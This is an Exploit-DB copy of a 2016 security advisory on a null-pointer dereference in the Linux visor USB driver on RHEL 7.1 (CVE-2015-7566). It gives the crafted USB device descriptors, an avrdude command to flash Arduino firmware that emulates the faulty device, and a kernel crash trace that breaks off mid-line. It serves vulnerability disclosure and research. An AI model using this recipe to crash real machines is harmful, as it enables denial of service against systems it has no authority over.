Exploit-DB #39540
Description: Linux Kernel 3.10.0 (CentOS / RHEL 7.1) - visor clie_5_attach Nullpointer Dereference
Type: dos
Platform: linux
Date: 2016-03-09
Author: OpenSource Security

Exploit:
OS-S Security Advisory 2016-09
Linux visor clie_5_attach Nullpointer Dereference

Date: March 4th, 2016
Authors: Sergej Schumilo, Hendrik Schwartke, Ralf Spenneberg
CVE: CVE-2015-7566
CVSS: 4.9 (AV:L/AC:L/Au:N/C:N/I:N/A:C)
Title: Local RedHat Enterprise Linux DoS â?? RHEL 7.1 Kernel crashes on invalid 
USB device descriptors (visor clie_5_attach driver)
Severity: Critical. The Kernel panics. A reboot is required.
Ease of Exploitation: Trivial
Vulnerability type: Wrong input validation
Products: RHEL 7.1 including all updates
Kernel-Version: 3.10.0-229.20.1.el7.x86_64 (for debugging-purposes we used the 
CentOS Kernel kernel-debuginfo-3.10.0-229.14.1.el7)
Vendor: Red Hat
Vendor contacted: November, 12th 2015
PDF of advisory: https://os-s.net/advisories/OSS-2016-09_visor_clie_5_attach.pdf

Abstract:
The Kernel 3.10.0-229.20.1.el7.x86_64 crashes on presentation of a buggy USB 
device requiring the visor (clie_5_attach) driver.

Detailed product description:
We confirmed the bug on the following system:
RHEL 7.1
Kernel 3.10.0-229.20.1.el7.x86_64
Further products or kernel versions have not been tested.
How reproducible: Always
Actual results: Kernel crashes.

Description:
The bug was found using the USB-fuzzing framework vUSBf from Sergej Schumilo 
(github.com/schumilo) using the following device descriptor:

[*] Device-Descriptor
bLength:	0x12
bDescriptorType:	0x1
bcdUSB:	0x200
bDeviceClass:	0x3
bDeviceSubClass:	0x0
bDeviceProtocol:	0x0
bMaxPacketSize:	0x40
idVendor:	0x54c
idProduct:	0x144
bcdDevice:	0x100
iManufacturer:	0x1
iProduct:	0x2
iSerialNumbers:	0x3
bNumConfigurations:	0x1

The clie_5_attach function of the visor driver, which is called during the 
driver initialization process, expects an OUT-Bulk-Endpoint. 
Due to an incomplete sanity check, the visor driver tries to dereference null-
pointers. 
This results in a crash of the system.

****
$ nm visor.ko.debug | grep clie_5_attach
[PII_REDACTED] t clie_5_attach
$ addr2line -e visor.ko.debug 6d
/usr/src/debug/kernel-3.10.0-229.14.1.el7/linux-3.10.0-229.14.1.el7.x86_
64/drivers/usb/serial/visor.c:610
****

**** CentOS-Kernel linux-3.10.0-229.14.1.el7 (drivers/usb/serial/visor.c)
...
607
608 pipe = usb_sndbulkpipe(serial->dev, port->bulk_out_endpointAddress);
609 for (j = 0; j < ARRAY_SIZE(port->write_urbs); ++j)
610 port->write_urbs[j]->pipe = pipe; /* if there is no configured OUT-
bulk-endpoint, the kernel tries to dereference null-pointers */
611
612 return 0;
613 }
...
****

[*] Configuration-Descriptor
bLength:	0x9
bDescriptorType:	0x2
wTotalLength:	0x27
bNumInterfaces:	0x1
bConfigurationValue:	0x1
iConfiguration:	0x0
bmAttributes:	0x0
bMaxPower:	0x31
[*] Interface-Descriptor
bLength:	0x9
bDescriptorType:	0x4
bInterfaceNumber:	0x0
bAlternateSetting:	0x0
bNumEndpoints:	0x3
bInterfaceClass:	0x0
bInterfaceSubClass:	0x0
bInterfaceProtocol:	0x0
[*] Endpoint-Descriptor:
bLength:	0x7
bDescriptorType:	0x5
bEndpointAddress:	0x81	ï?? IN-Direction
bmAttribut:	0x1	ï?? ISO-Transfer
wMaxPacketSize:	0x404
bInterval:	0xc
[*] Endpoint-Descriptor:
bLength:	0x7
bDescriptorType:	0x5
bEndpointAddress:	0x1	ï??OUT-Direction
bmAttribut:	0x1	ï??ISO-Transfer (change this 
value to 0x2, which is the value for bulk-transfer without additional 
features, and the visor driver won't crash)
wMaxPacketSize:	0x4
bInterval:	0xc
[*] Endpoint-Descriptor:
bLength:	0x7
bDescriptorType:	0x5
bEndpointAddress:	0x82	ï??IN-Direction
bmAttribut:	0x1	ï??ISO-Transfer
wMaxPacketSize:	0x4
bInterval:	0xc

Proof of Concept:
For a proof of concept, we are providing an Arduino Leonardo firmware file. This 
firmware will emulate the defective USB device.

avrdude -v -p ATMEGA32u4 -c avr109 -P /dev/ttyACM0 -b 57600 -U 
flash:w:binary.hex

The firmware has been attached to this bug report.
To prevent the automated delivery of the payload, a jumper may be used to 
connect port D3 and 3V3!

Severity and Ease of Exploitation:
The vulnerability can be easily exploited. Using our Arduino Leonardo firmware, 
only physical access to the system is required.

Vendor Communication:
We contacted Red Hat on the November, 12th 2015.
This bug was fixed upstream. A CVE number was not assigned.

References:
https://bugzilla.redhat.com/show_bug.cgi?id=1283371
http://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?i
d=cb3232138e37129e88240a98a1d2aba2187ff57c

Kernel Stacktrace:

[ 34.568077] usb 1-1: new full-speed USB device number 2 using xhci_hcd
[ 34.791731] usb 1-1: New USB device found, idVendor=054c, idProduct=0144
[ 34.795463] usb 1-1: New USB device strings: Mfr=1, Product=2, 
SerialNumber=3
[ 34.799619] usb 1-1: Product: Ä?
[ 34.804592] usb 1-1: Manufacturer: Ä?
[ 34.810144] usb 1-1: SerialNumber: %
[ 34.872285] usbcore: registered new interface driver visor
[ 34.879838] usbserial: USB Serial support registered for Handspring Visor / 
Palm OS
[ 34.890481] usbserial: USB Serial support registered for Sony Clie 5.0
[ 34.897769] usbserial: USB Serial support registered for Sony Clie 3.5
[ 34.914162] visor 1-1:1.0: Sony Clie 5.0 converter detected
[ 34.920288] BUG: unable to handle kernel NULL pointer dereference at 
[PII_REDACTED]
[ 34.921136] IP: [<ffffffffa039306d>] clie_5_attach+0x3d/0x60 [visor]
[ 34.921136] PGD 0 
[ 34.921136] Oops: 0002 [#1] SMP 
[ 34.921136] Modules linked in: visor(+) ip6t_rpfilter ip6t_REJECT ipt_REJECT 
xt_conntrack ebtable_nat ebtable_broute bridge stp llc ebtable_filter ebtables 
ip6table_nat nf_conntrack_ipv6 nf_defrag_ipv6 nf_nat_ipv6 ip6table_mangle 
ip6table_security ip6table_raw ip6table_filter ip6_tables iptable_nat 
nf_conntrack_ipv4 nf_defrag_ipv4 nf_nat_ipv4 nf_nat nf_conntrack 
iptable_mangle iptable_security iptable_raw iptable_filter ip_tables bochs_drm 
ppdev syscopyarea sysfillrect sysimgblt ttm drm_kms_helper drm pcspkr i2c_piix4 
i2c_core serio_raw parport_pc pa